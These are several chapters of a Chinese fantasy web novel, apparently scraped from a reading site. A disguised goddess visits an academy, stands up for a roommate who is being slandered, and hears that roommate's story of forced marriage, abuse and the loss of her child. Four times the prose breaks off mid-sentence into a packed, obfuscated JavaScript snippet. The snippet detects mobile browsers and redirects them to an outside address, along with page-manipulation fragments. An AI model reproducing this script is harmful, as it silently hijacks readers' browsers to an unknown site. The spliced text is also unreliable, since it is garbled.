说到这里,她突然想起什么,顿了顿继续道:“不过也有一些例外,有一些师姐即便觉醒了灵力,也主动放弃修炼问天道,选择专心钻研红尘道的课程。” “譬如我的一位嫡系师姐。”沈明月的语气里泛起一些敬仰:“当年测试她灵根的院长曾言她天赋异禀,是修炼问天道的好苗子,可她毅然决然放弃了修道长生的机会,一门心思钻研红尘道的炼器之术。” 帝媱不解:“这是为何?” 沈明月看了她一眼,正色道:“这位师姐说,天地之间灵气愈加稀薄,这是九重天上的那些仙神们也无法逆转的。在不久的将来这个世界的灵力一定会枯竭,那时人类无法使用灵力,自然也就没有办法修炼。” “红尘道中的每一门学问都是支撑未来的凡人在灵气断绝的世界安身立命之术,尤其是炼器与机关二术,它们能够让手无缚鸡之力的凡人抵抗自然和猛兽的侵袭。” “我们大家都不知道等灵气彻底断绝之后,人类的命运会走向何方,但总有人为之努力着。那些自凡人之手诞生,又在凡人手中薪火相传之术,便是我们未来的希望。” 沈明月的声音很轻,在帝媱听来却是充满了力量,每一个字都是如此的铿锵有力,重重地砸在她的心上。 她的眼中泛起亮光:“那沈师姐的师姐可真是心怀大义,当真令人敬佩。” 沈明月笑了笑:“这是师姐心中毕生所向,我曾问过她放弃问天道选择红尘道,可曾有过遗憾。她回答说因为这是她自己的选择,所以甘之如饴,并不遗憾。” “不过话又说话来,每个人都有自己心中的道,只要能够始终坚持自己的选择,便都是值得人钦佩的。”沈明月起身,拍了拍帝媱的肩:“好啦,我下午还有事情,先走一步。” 离开前她冲帝媱眨了眨眼:“祝你通过考核,早日成为学宫的正式弟子哦。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126204|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “多谢师姐。”帝媱起身同沈明月告别。 注视着沈明月离开后,帝媱重新梳理了一番从方才谈话中收获的信息,然后在食堂附近转了转。 学宫中的一切都令她感到无比新奇,但她并不敢走得太远。 很快便到了在门口集合,由青姬领着她们参加新生讲解会的时间。 负责向新生进行讲解的师姐系统地向她们介绍了学宫的主要课程。 首先介绍的便是学宫中问天道与红尘道两派的区别。 她所讲的内容与方才沈明月讲的基本一致,成为学宫的正式弟子满一年后就会进行灵根测试,有灵根者可以进入问天道修炼,无灵根者则留在红尘道修习。 “若未觉醒灵力也没有关系,可以继续在红尘道中修行。建立其野学宫的两位师祖皆为凡人,可不要小瞧了凡人的智慧。” 不要小瞧了凡人的智慧—— 沈明月与帝宣都说过同样的话。 但帝媱在此之前从未有过同凡人接触的机会。 九重天宫是仙神所居之地,唯一的凡人便是帝凌那位早已被打入龙渊之狱的夫人。 素娆尚在帝凌府邸掌管府中事务时,帝媱尚未出生,待她稍微长大一些能记事时,这位夫人已经背上了一身的骂名被打入了牢狱。 她还记得素娆被天兵带走那天她曾安慰过满脸是泪的帝骁,也记得帝骁望向素娆离开的背影时眼中逐渐升腾起的怨恨。 那时候她只觉得凡人弱小,在九重天上若是得不到庇护,便只能任人宰割。 可是今日在其野学宫,她第一次真正感受到了何谓凡人的智慧。 台上的师姐将袖一拂,变幻的画面在众人眼前展开,呈现出学宫各门课程的主要内容及教习场地。 新生进入学宫的第一年会集中在一起修习基础课程。 所谓基础课程便是最简单的识字断句以及体能训练,练习的侧重点可以由新生们自行选择。 譬如识字不多者可以将更多的时间用在识文断字上,而体弱之人则可以将大部分时间用来进行体能训练。 在这期间每月会有专人为她们洗髓炼骨,除了帮她们强身健体外,更重要的是激发她们身体中的潜能,为一年后的灵根测试做准备。 一年后所有新生都会有属于自己的归宿,或觉醒灵力进入问天道,或仍是肉体凡胎,继续在红尘道中修行。 但无论是问天道还是红尘道中的弟子,除了学习自身主修课程外,还要修习旁的课程。 包括但不限于天文地理、五行八卦、八荒古经、文化历史等。 而这些课程被统称为通识课。 据说这一套课程体系是由学宫创始人之一徐在野创立的,学宫弟子钻研主修课程之余还要广泛涉猎其余知识,这一点上万年来都不曾改变。 光是通识课便已如此丰富,那些主修课程就更不用提了。 132. 芙蓉浦 问天道的主修课程有她们上午在竞技场见过的傀儡术,还有大家都耳熟能详的剑术、丹术、法阵之术等。 红尘道的主修课程有帝媱在沈明月处听过的炼器术与机关术,除此之外还有医术、占卜术、阴阳术、农耕术等。 台上的师姐向她们娓娓道来,台下的记名新生们则大多听得呆在了原地。 讲解会结束后大家仍意犹未尽,直到青姬将她们领入提前分好的宿舍时,她们都还在叽叽喳喳地议论着方才师姐所讲的内容。 青姬拍了拍手,将众人的注意力转移到她身上来:“现在看一下你们手中的令牌,上面会浮现出学宫为你们分好的宿舍,这几日你们便住在宿舍中,令牌就是进入房间的钥匙。” 方才还沉浸在讲解中的新生们连忙取出自己的令牌,寻觅着分给她们的宿舍楼以及房间编号。 这也是帝媱第一次住进学院宿舍,跟不同的人在一间房中歇息。 学宫分给她们的宿舍四人为一间,好在房间很大,住四个人也不算拥挤。 帝媱循着令牌上的房间编号找到宿舍的时候,屋里已经有一个人了。 见到帝媱后她热情地迎上来:“总算是来人了,我叫李烟,这几日我们就是舍友了。你带的行李多不多?我来帮你安置。” “我叫烛媱。”帝媱将帝宣给她的储物袋拿出来:“我带的行李不多,只是,只是……” 她看着储物袋中的衣衫被枕有些为难。 她的行李都是帝宣给她准备的,之前在府中也自有宫人替她打理寝殿,她从来不曾在这上面操过一点心。 如今看着储物袋中的一应生活用具,她倒是有些犯难了。 虽然行李不多,所有东西帝宣也已经为她准备妥当,但她一时之间还是手足无措,抬眼无助地望向李烟。 李烟见到她取出的储物袋便知这不是凡物,恐怕是世家大族才能买得起的器物,眼前这位姑娘看起来娇滴滴的,显然是高门贵女,出行皆有人伺候。 “我来帮你。”李烟说着便接过帝媱的储物袋,手脚麻利地帮她把床铺好,还把衣物取出来一件件挂在了衣橱中。 帝媱从出生起便被一大堆宫人服侍着,早已习惯了被别人伺候,可是此刻看着李烟为自己忙上忙下,她竟觉得无所适从。想要取出一些金银来感谢她,但又觉得这样不妥,只好尴尬地站在原地看着她忙活,脸上逐渐泛起微红。 李烟看出了她的不好意思,转过身大大咧咧地对她道:“妹子,看你年纪还小,想是第一次离家出远门吧?我照顾我家孩子惯了的,这些活儿都是顺手的事,你不用不好意思。” 帝媱怔了怔,语气惊诧:“你都有孩子了?” 李烟顿了一下,然后背过身去继续忙活:“曾经有过一个。” 什么叫曾经有过一个? 难道那孩子已经夭折? 帝媱心中更为惊讶,并且开始后悔方才问出那一句话。 便在她琢磨着该说点什么缓解气氛时,房门又被推开,另外两位舍友也到了。 李烟看见茫然立在门口的两人,如方才那般迎了上去,热情地同她们打招呼,顺手接过她们的行李,很自然地替她们安置了起来。 帝媱见状长长地舒了口气,罢了,对方好像并没有往心里去,她似乎也不必再多说什么了。 这间宿舍中李烟最为年长,她热情地照顾着另外几人,很快大家便安顿下来,各自上床休息。 接下来两日众人可以自由活动,去旁听自己感兴趣的课程。 帝媱首先选择的是问天道的法阵之术。 帝宣对法阵之术极有兴趣,虽然父亲寻了一位精通此术的神君为他教习,可他在修炼时仍然以剑道为主,平时父亲考问他的内容也都为剑术,帝宣实际能够接触到的布阵之法终究有限。 若是他也能进入学宫修习,一定会选择这门课程。有师长教诲,还能与同门切磋,不知他该有多开心。 帝媱怀揣着这样的心情替兄长旁听了一节理论课。 这是一节专授古阵法的课程,帝媱此前从未接触过布阵理论,因此听得一知半解。 不过法阵一术最核心的一点她听明白了。 布阵类似于与天地结契,大多数法阵的力量来源于天地之间,布阵的咒语与符文便是与天地沟通的媒介。 天地间有着各种各样的存在,自然也拥有各式各样的力量,有的法阵是单纯借取天地灵力,有的则是向天地间的神秘存在借取力量,更有甚者是与邪魔结契,短暂地获得强大的力量,这种法阵便被称为邪阵。 若要布下邪阵,布阵者所要付出的代价便不仅仅是一点灵力而已,且还有遭到反噬的风险。 一节课听下来,帝媱倒是颇有收获,然后她兴致勃勃地转去了红尘道,旁听了一节炼器课。 昨日沈明月说的那番话很令她动容,她决定亲自去接触一下凡人所修的炼器术。 炼器一术之所以无灵力者不可修,最主要的原因是炼器时外界的环境需要修者以灵力掌控。便如沈明月所言,能否炼器成功,与炼器时的火候、力度、时长,甚至当时的气候温度皆有关联,一点细微的偏差便有可能致使炼器失败。 若以凡人之躯,能够精准掌控炼器时的火候与力度便已经极为不易了,炼器过程中的温度与湿度又该如何掌控? 在踏入红尘道学子们的炼器室之前,帝媱是无论如何也想不明白的。 踏入炼器室之后,她终于明白了,同时也震惊了。 眼前的炼器室已经不能称之为炼器室了,它宛如一座充斥着各式机关,四处迸溅着铁屑与火花的宫殿。 有热情的师姐为慕名前来观摩的记名新生们讲解:“炼器与机关不分家,我们向来与机关道的姐妹们关系良好,炼器与机关两大学院也向来是其野学宫的示范友好学院。” “机关道的院长和师姐们参与了我们每一座炼器室的修建与改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129510|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 造,若非这些机关,我们也做不到控制炼器炉的外部环境。自然了,我们所炼制的各类器具也会无偿赠送给机关道的师姐们,尤其是一些武器类用具,在机关道十分受欢迎。” 帝媱咽了咽口水:“武器类用具?” 为她们讲解的师姐连连点头:“炼器术的分支十分庞杂,有大宗类也有小宗类,有武器类还有生活类。” 她指了指帝媱系在腰间的储物袋:“像这种储物类用具便是小宗生活类器具,包括你们眼前正在炼制的飞行用具也属于小宗生活类。” 又有人好奇发问:“什么是飞行用具?难道佩戴上这个用具,凡人也能飞了吗?” 师姐继续点头:“没错,这个飞行用具就像是鸟儿的翅膀,凡人佩戴上之后可以借助它飞行一段距离。” 停顿了一下她补充道:“不过这个用具还在初级研究阶段,尚不能投入使用。但是我们红尘道的炼器术一年比一年精进,相信若有诸位师妹们的加入,将这些方便凡人生活的器具都炼制出来也是指日可待之事!” 红色的火光映在师姐脸上,伴随着周遭断断续续响起的铁器敲打声和机关运作声,她的语声也显得格外铿锵有力。 帝媱莫名有些恍惚,她觉得自己仿佛置身于一个无形的火炉之中,身体里翻涌起一些热浪,同时也涌出一些力量。 她用了一下午的时间观摩炼器室,决定接下来旁听一节炼器术的理论课,最后还与沈明月约定好明日傍晚离开学宫前去亲眼看一看她是如何炼器的。 做好最后一天的安排后她来到食堂,取完餐转过身恰好看到李烟。 李烟也看到了她,笑着同她招手:“快过来,我们一起。” 帝媱回她一个微笑,在她的对面坐下。 “你也这么晚才来吃饭呀?”李烟很自然地同她聊起了天:“这学宫可真大,光是主食堂就有十二座呢,没想到我们这样也能碰见。” “是呀。”帝媱点了点头,她如今已经能很熟稔地同这些凡人打交道了:“我今日下午观摩了红尘道的炼器室,那些炼器室也很大,等我逛完走出来才发现天已经黑了。” 听到帝媱分享她今天的见闻,李烟瞬间开启了话匣子,略有些激动地道:“我今天去参观了医家的药田,她们的药田也非常的大,有整整几座山头都是她们种植药草的地方,我也是逛得肚子都饿了才想起来今天还没吃饭。” 两个人就这样你一言我一语地谈论着今日在学宫的收获,便在这时有几人在李烟身后的位置落座,李烟与帝媱冷不防听见了那几人的谈话。 其中一人声音太大,并且话语间还提及了李烟的名字,真是想不让她们注意到也难。 “就我们寝室那个李烟,简直是土包子没见过世面,你们是没见到她那副寒酸样,笑死人了。” 另一人附和道:“就是,而且我们一进房间她就急着给我们安置行李,怕不是哪家的丫鬟私自出逃,想逃到学宫躲起来吧?” 133. 芙蓉浦 听到她们如此说,帝媱这才发现这二人竟是与她们同寝的室友。 她不禁面露震惊,李烟好心帮大家收拾行囊,她们为何不但不感激,反而口出恶言? 但闻与那二人同行的友人接话道:“那可真是难为你们了,居然跟一个私自出逃的丫鬟同寝。” “可不是嘛,睡了一晚上感觉自己都要沾染上穷酸味儿了。” “其实她倒也未必是逃出来的丫鬟,或许是从不知道哪个穷乡僻壤里跑出来的难民也未可知,你看她穿的那身破烂衣裳,配跟我们站在一起么?” “就是,也不知道学宫是怎么分寝室的,怎么把这样的人跟我们分到一块儿?简直晦气。” 这些人越说越过分,帝媱越听越生气,她的表情也由最初的震惊变为了愤怒。 就在她起身欲与那几人理论一番时,被她们在背后嘲笑的李烟反倒按住了她。 李烟冲她摇头:“算了,别跟她们起争执,我不过是被人议论两句,没关系的。” 帝媱见李烟一副瑟缩的模样,想她应是不愿惹是生非之人,她替她出头恐怕反而会令对方为难,于是忍了忍重新坐了回去。 却没想到那几人越说越不着边际,竟当众造起了谣言。 “哎,我跟你们说啊,看那李烟的体态一定是生过孩子的。啧啧啧,你们说这生过孩子的女人,人老珠黄,不安安分分在家带孩子,跑学宫来跟我们争什么名额?” “这么说起来我倒挺好奇,她穷得身上衣裳都打补丁,哪来的盘缠从穷乡僻壤跑进城里来,还到学宫报名做记名新生?莫不是……” 几个人意味深长地对视了一眼,然后低低地笑了起来,笑声里满是恶意。 “这就说得通了,怕是为了盘缠把自己给卖了吧?” “结果一不小心生出了个孩子来。” 李烟听得眼眶通红,却仍不打算去与她们争辩,她悄悄对帝媱说了一句我们走吧,却见帝媱直接起身走到那几人跟前,一掌拍在她们的桌上。 那几人正说得起劲,听见桌子一响都被吓了一跳,抬起头便看见帝媱铁青的脸。 与她同寝的两人顿时有些心虚,目光躲闪道:“你这是做什么?” “我这是做什么?”帝媱气极反笑,反问她们:“我倒想问你们方才是在做什么?大家同住一寝,你们竟在背后如此污蔑?” 那两人心知方才的对话恐怕都被帝媱听去了,虽然心虚却也不肯低头,梗着脖子道:“听不懂你在说什么,我们何时污蔑过谁?这是在其野学宫,你说话做事可是要讲凭证的。” 与她二人结伴的友人看对面只有帝媱一人,她们却是人多势众,当即起身叫嚷起来:“就是,我看是你没事找事,平白无故跑来欺负人!” 李烟上前将帝媱挡在身后:“都是误会,是我们听错了。”她转身拉帝媱:“快走吧,我真的没事的。” 帝媱怒其不争,甩开她的手:“分明是她们口出恶言诋毁你,为何不让她们道歉?” 李烟原本只是红了眼眶,听见帝媱这样说,她的眼泪瞬间落了下来:“其野学宫明文规定,记名新生若在观摩期间寻衅滋事,立马会被驱逐出去,如此一来我们便连参加考核的机会都没有了。” 帝媱这才明白她到底在畏惧什么,顿时心情复杂,对她既是愤懑又觉可怜。 她抚上李烟的手:“你放心,且不说是她们口出恶言在先,我们只是找她们要一个说法而已,根本算不上寻衅滋事。就算学宫认定我是寻衅,那也与你无关,今日即便是将我驱逐出去,我也要争一个道理。” 她轻轻推开李烟,示意她别再参与,然后抬手指着那两人的鼻子道:“就算这件事情闹到师姐院长们面前我也不怕,你们今天必须给李烟道歉。” 对方似没想到帝媱这般豁得出去,就连被赶出学宫都不怕,见她如此有底气,她们的语气反而软了几分:“我们不过是背后议论了几句,你何必这样声势浩大?再说了,我们不过是陈述事实,说她衣裳寒酸而已,哪里口出恶言了?” 帝媱不为所动,显然这件事情在她这里没那么容易翻篇:“是吗,只是说她衣裳寒酸而已吗?你们自己说了什么自己最清楚,同为女子,你们怎么忍心在别的女子身上造这样的谣言?” “我们方才说什么了?你这么言之凿凿,你自己说呀,我们说什么了?”她们料定帝媱不会将方才听到的话复述一遍。此刻事情闹得大了,已有不少人围了过来,当着这么多人的面说李烟卖身生子,即便根本没有这回事,李烟也铁定在这学宫混不下去。 帝媱语声一顿,气得满脸通红。 她没想到世上竟有这般无耻之人,方才她们所说的那些话,她的确是怎么也说不出口的。 便在她气恼难堪之际,一位师姐从人群中走出:“方才你们说了什么,我可是听得一清二楚。” 李烟看到来人眼前一亮:“月离师姐,你也在这里?” 那名唤月离的师姐点了点头,抬手抚上她的肩膀,转头望向带头造谣的那两人,语气凌厉:“今日即便没有这位小师妹为李烟分辩,我也是要来问问诸位的。你们从前是否认识李烟,是否知晓她家中情况?若是全然不知,凭何在此造谣旁人身世?” 那几人见到对方是学宫的正式弟子,顿时一句话也不敢说了,纷纷红着脸低下了头。 月离上前一步,抬手一挥,将为首两人的令牌收了过来:“学宫禁止寻衅滋事,更禁止同门弟子相残。你们方才口出恶言诋毁同伴,便是在同门相残。现在随我去见院长,你们是留下还是被驱逐,自有她老人家按照规矩判定。” 方才还趾高气昂的几人瞬间变成了霜打的茄子,与帝媱同寝的两人埋着头走出来,另外附和她们的那几人则趁乱悄悄溜走了。 那两人本已被月离训 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136434|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斥得无地自容,恨不得找个地缝钻走,却听月离又道:“你们两个别急着走,先给李烟道歉。” 她们啊了一声抬起头来,脸上已满是泪痕,眼眶红红的,看起来好不可怜:“师姐……” 可惜月离丝毫不为所动:“你们方才以言语折辱旁人,做错了事情就要道歉。” 眼前这位师姐看起来便是个刚正不阿的,她们若不道歉此事恐无法收场。这两人自小在家中便是娇生惯养,这才养成了如今的脾性,此刻被众人议论围观,她们简直难堪得无地自容,只好僵硬地扭过身子,向李烟道了一句对不起,然后捂着脸穿过人群跑了出去。 月离再次拍了拍李烟的肩膀:“没事了,她们方才那些话你别往心里去,我现在带她们去见院长,相信院长一定会秉公处理,还你一个公道。” 李烟点了点头,方才一直强忍着的泪水此刻反而夺眶而出:“谢谢师姐。” 待月离走后,围观的人群也慢慢散去,帝媱这才咬着唇上前:“你没事吧?我陪你回宿舍吧。” 其实帝媱现在有些后悔方才如此莽撞地替李烟出头。 在那几人让她当众将她们说过的话复述一遍的时候,她突然意识到这何尝不是对李烟的第二次伤害。 静默地走在李烟身侧,她一时有些无言。 没想到却是对方先开了口:“烛媱,谢谢你,今天晚上是我这辈子第一次感到如此畅快。” 帝媱错愕转首,她注视着李烟的笑颜,愣了好一会儿才道:“我还以为你会怨我行事莽撞,让你在这么多人面前丢脸。” “丢脸的是那几个造谣之人,我又没有污蔑过谁,为什么要觉得丢脸。”李烟转身握住帝媱的手,语气诚恳:“她们说的那些话我不是第一次听到,以前我总想着息事宁人,不想把事情闹大,所以往往听到了也当作没听到。但其实……人心都是肉长的,听到那些话我怎么可能不难过呢。” 帝媱回握住李烟的手,感觉到她手心冰凉,于是呵了口气替她揉了揉。 “烛媱,真的很谢谢你。”李烟的眼眶仍旧红红的,“原来为自己分辩是如此畅快,原来让那些胡乱造谣之人道歉是如此畅快,我以前总觉得忍一忍就过去了,现在我才知道,一味忍让只会让那些伤害我的人变本加厉。” “你能知道保护自己就好。”帝媱很为她开心:“从小兄长就教给我一个道理,这世上未必人人都是良善之辈,忍一时也未必会风平浪静。若是有人敢欺负你,当时就要让他尝一尝苦头,这样他以后就再不敢欺负你了。” 李烟的语气既是艳羡又是失落:“那看来你有一个待你很好的兄长,想必也有一双对你很好的父母吧。” 帝媱觉得她这话问得奇怪:“自然是的,这天下应当没有父母会对子女不好吧?” 李烟抬头望着她,欲言又止了半晌,最后还是道:“有的,而且这样的父母有很多。” 134. 芙蓉浦 李烟就这样道出了自己的身世。 原来她曾经出身于一个官吏之家,其父虽然官职不大,但好歹家族累世官宦,他们受祖上荫蔽,过得还算富裕。 然而在她十岁那年,父亲牵扯到科考受贿一案,家里人赔尽了家底,卖掉了祖宅,这才将他从狱里捞了出来。 一家人就这样搬离京城,回到了乡下。 捡回一条命的父亲自此变得消沉,没日没夜地酗酒,喝多了便打骂妻女。 彼时尚且年幼的她白日里随母亲一起下地耕种,晚上还要做针线活补贴家用,有时候母亲去集市采买物品,她便要独自在家中照顾年幼的弟弟与醉酒的父亲。 这样的日子虽然难过,但咬咬牙也就熬过来了。 在她十五岁那年,父亲喝多了酒一脚踏空摔进了河里,被人捞上来时早已断绝了气息。 她带着弟弟隔着人群望着父亲被冰凉的河水浸泡得发白的尸体,第一反应竟是在心里松了口气。 父亲每日喝的酒比粮食还贵,母亲当掉了她所有的陪嫁首饰,仍是入不敷出。日子本就过得艰难,若一家人和和美美倒还有些盼头,偏偏酗酒的父亲对她们母女动辄便是打骂。每次他从醉酒中醒来,她都战战兢兢连大气也不敢出。 如今父亲死了,她们少了一个负累,以后也没有人会再肆意打骂她们母女,她原以为母亲也会像她一样松一口气。 却没想到母亲哭得伤心,竟还因此哭坏了眼睛。 她不明白这是为什么。 日日以泪洗面的母亲听到她如此问,先是打了她一巴掌,然后又一把抱住她:“你不明白,你父亲在,总归家里还有一个男人。你父亲不在了,我们就是真正的孤儿寡母,以后的日子难过啊……” 然而李烟并没有觉得以后的日子过得更艰难。 虽然如今家中大多数的活计都落在了她身上,但她勤劳能干,又不怕吃苦,加之现在每日不用耗费那样多的酒钱,家里反而攒下了一些银两。 如此又过了三年,眼看着李烟的年纪渐渐大了,母亲一日比一日忧愁,终于有一天她找到李烟,告诉她自己为她寻了门亲事。 说到这里,李烟的声音低沉下来:“说是为我寻了门亲事,实际上就是换亲。” “换亲?”帝媱不解。 “贫民家中若想娶亲往往十分困难,有不少男子因家境贫寒而娶不到媳妇。”李烟解释道:“所以人们便想出一个办法,那就是换亲。将家中的女儿嫁给另一户人家,那户人家再把他们的女儿嫁过来,如此两个原本无法娶亲的男子便都有了媳妇。” 帝媱听得大为震惊:“竟还有这种事情?” 她根本无法理解:“这不就是卖女儿么?对方既然家境贫寒到无法娶亲,那将自家女儿嫁过去岂不是继续受苦?” 李烟苦笑了一下:“用母亲的话来说,无论对方贫富贵贱,我好歹是有了一个男人。她这一辈子也算是嫁鸡随鸡嫁狗随狗了,我自然也是一样。” 帝媱也笑了,却是止不住地冷笑:“那之后呢?将你嫁过去之后,若你过得不好该如何?” 李烟摇头:“嫁出去的女儿就是泼出去的水,从此以后我便与她不是一家人了。即便过得不好,那也是自己的命,认命就是了……” 事实上李烟嫁过去之后的确过得很不好。 她的丈夫同她的父亲一样是酗酒之徒,且夫家比娘家还要困苦。 丈夫白日里往往喝成一滩烂泥,晚上若是起了兴致便对李烟温言软语,若是心情不好便把她摁在墙角拳打脚踢。 同一个村的庄户隔三岔五便会听到李烟的惨叫声。 起先他折磨她的理由是她嫁过来后一直无嗣。 在这穷山恶水的村落里有一条不成文的规定,生不出孩子来的女人即便被打死也不会有人非议。 后来李烟有了身孕,生下了一个孩子,她的丈夫却仍然夜夜殴打她,这回的理由变成她只生了一个女儿。 “你这是存心要让我刘家绝后哇?”婆婆尖利的嗓音时不时就会在李烟耳畔响起:“生个女儿有什么用?既不能传宗接代,又不能绵延香火,我可告诉你,你要是生不出儿子,那就活该被打死!” 日子已经过到了这样的田地,李烟其实早已心如死灰,她抱着孩子咬牙忍着,总想着忍一忍也就过去了。 忍到自己变老,忍到女儿长大,忍到她的丈夫在积年累月后生出一点良心,或是干脆像她的父亲一样被老天收了去。 只要忍到那个时候,日子就会变得好过了。 毕竟这么多年来她都是这样忍过去的。 直到她的女儿病死在了她的怀里。 那是一个雨夜,丈夫用掉了家中最后一点积蓄,喝多了酒在床上醉得人事不省,她无论怎么喊怎么拉都无法把他叫醒。 她想要带女儿去镇上求医,可是村里唯一一辆牛车需要用钱租赁,且还要家中男人按手印做担保,这才能将牛车借出。 她叫不醒丈夫,也借不来牛车,只好冒着大雨抱着孩子深一脚浅一脚地往镇上跑。 跑到次日天明,终于有路过的好心人捎了她一程,可是等她跑到医馆的时候,大夫告诉她孩子已经在昨晚气绝。 她人生中第一次直面死亡是因为她的父亲,第二次便是她自己的孩子。 她抱着孩子浑浑噩噩地走回村落,回到家却发现丈夫仍旧醉醺醺地躺在床上。 她一声不吭地埋了孩子,然后抄起家里唯一一根竹凳砸在他的头上。 她独自离开了村落,一路替人浆洗过活,她也不知道自己能去何处,她只知道她要离开那个地方,否则很快她也会变成地里的一抔黄土。 那是个吃人不吐骨头的地方。 她就这样漫无目的地往前走,最后居然靠自己的双腿走到了这里来,雇她浆洗的那户人家知她识得许多药草,颇有些医学天赋,又正好遇上今年学宫招生,于是劝她到其野学宫来试一试。 “小村落里是没有医馆的,农人大多自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140558|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己从山中寻些药草治病,若是病得严重了才会到镇上求医。”李烟的笑容仍是苦涩:“我的女儿没能投生个好人家,自小体弱多病,我常常到山中去为她寻找药材,也算是久病成医,懂得一点药草相生相克的道理。” 帝媱听得心中酸涩,她语声微滞:“所以若能通过考核成为学宫的正式弟子,你打算主修医家课程?” 帝媱不欲再同李烟提及她的灰暗过往,她相信这个女子拥有如此坚韧的心性,她的未来一定光明璀璨。 往事莫追,就让它同那个醉死在床上的男人一起烂在泥里吧。 与帝媱一起畅想通过考核成为学宫的正式弟子,李烟的眼神瞬间明亮起来:“是呀,我想修习医家课程。若是我懂医术,我的女儿也许就不会早逝了。” 她又笑了笑,这回笑容不再苦涩:“说起来,下午我参观医家药田时,为我们做讲解的就是月离师姐。田中药草繁多,那时我向她问了一些问题,她还赞我识得许多药草,真没想到今晚会在食堂遇见她。” 帝媱注视着李烟的笑颜,眼中情绪复杂。 她觉得自己在今日才算是真正认识到何为人间疾苦,也是在此刻才理解了李烟方才的畏惧瑟缩。 李烟与自己不同,她没有疼爱她的父母兄长,没有倚仗也没有退路,成为学宫的正式弟子可以说是她唯一改变命运的机会。 所以她万分珍惜,即便被人诋毁也不愿追究。 她只是怕被赶出学宫。 帝媱再次无言,她望着李烟,过了好一会儿道:“对不起,方才是我没有考虑到你的处境,没想到贸然出头可能会给你带来很大的麻烦。” 她咬咬牙。 以后她就知道了,若是再碰上这样的人,当面同她们争辩不若在背后使一使阴招,反正是她们罪有应得。 三日的观摩时间一晃而过,接下来就是等待学宫通知,约摸一个月后会有师姐接引她们参加考核,能否成为正式弟子便看这最终的考核了。 帝媱离开学宫后暂时在医馆住下,同帝宣从九重天映下的神识投影聊天时,她近乎咬牙切齿地告诉他:“真的,我想好了,以后要是再碰上这种人,我就让她们倒霉一个月,让她们出门就被狗咬,喝凉水都塞牙!” 帝宣先是笑着赞她勇敢,然后提醒她:“你要记住自己是偷偷溜到凡间来的,可不能随意使用神力。若是被父亲母亲发现,我就要和你一起关禁闭了。” 帝媱撅了撅嘴,拖长了声音说:“好吧,我知道了。” 她叹了口气:“不过我是真的很为李烟不平,她太可怜了。而且我设身处地想了想,我若是她,只怕要恨死那些拿我换亲的人了。” 顿了顿,她继续道:“包括那个孩子,她虽然是李烟亲生,却是她同那个酗酒打骂她的男人生的,并非是与心爱之人所生。若换做是我,我是绝对接受不了的。” “哥,以前我只是听你说人间疾苦,凡人生活不易,今日才算是真的知道什么叫做人间疾苦了。” 135. 芙蓉浦 投影中的帝宣明显还在处理公务,烛火的光在他身侧明明灭灭,窗外便是帝媱十分熟悉的九重天上的寂寥长夜。 帝宣听见帝媱如此说,握笔的手微微一颤,随后他苦笑了一下,赞同道:“是啊,其实这天上地下犹如一座火宅,众生困厄六道皆苦。且凡人不似我们有神力傍身,他们在这天地间所要承受的苦难便比我们更多。” “你方才所说的换亲我也是第一次听闻。”顿了顿,他又将话题落回李烟身上:“若非是与心爱之人所生的孩子,的确会令母亲为难吧。也许有的人自己都分辨不清,用这种方式生下的孩子,她到底是爱多一点还是恨多一些。” 帝媱瞬间反应过来,这个话题怕是让帝宣想起了自己的生母。 在素娆夫人被押进龙渊之狱的那一年她便知晓了帝宣的身世。 在此之前她一直以为帝宣就是她的亲哥哥。 当年素娆夫人的事情闹得沸沸扬扬,整个九重天宫都在看帝凌的笑话,那时候帝骁不眠不休地跪在天君宫前为母求情,而帝宣便是除他之外唯一一个替素娆夫人求情的人。 他曾经拜见过天君,祈求天君看在素娆夫人是帝骁生母的份上饶她一命,不过这件事帝骁并不知情。 那时候的她能感受到帝宣接连几日情绪都很消沉,她不明白兄长为什么会因为别人的家事这般难过。 于是她去询问母亲,母亲便在这时候将帝宣的身世告诉了她。 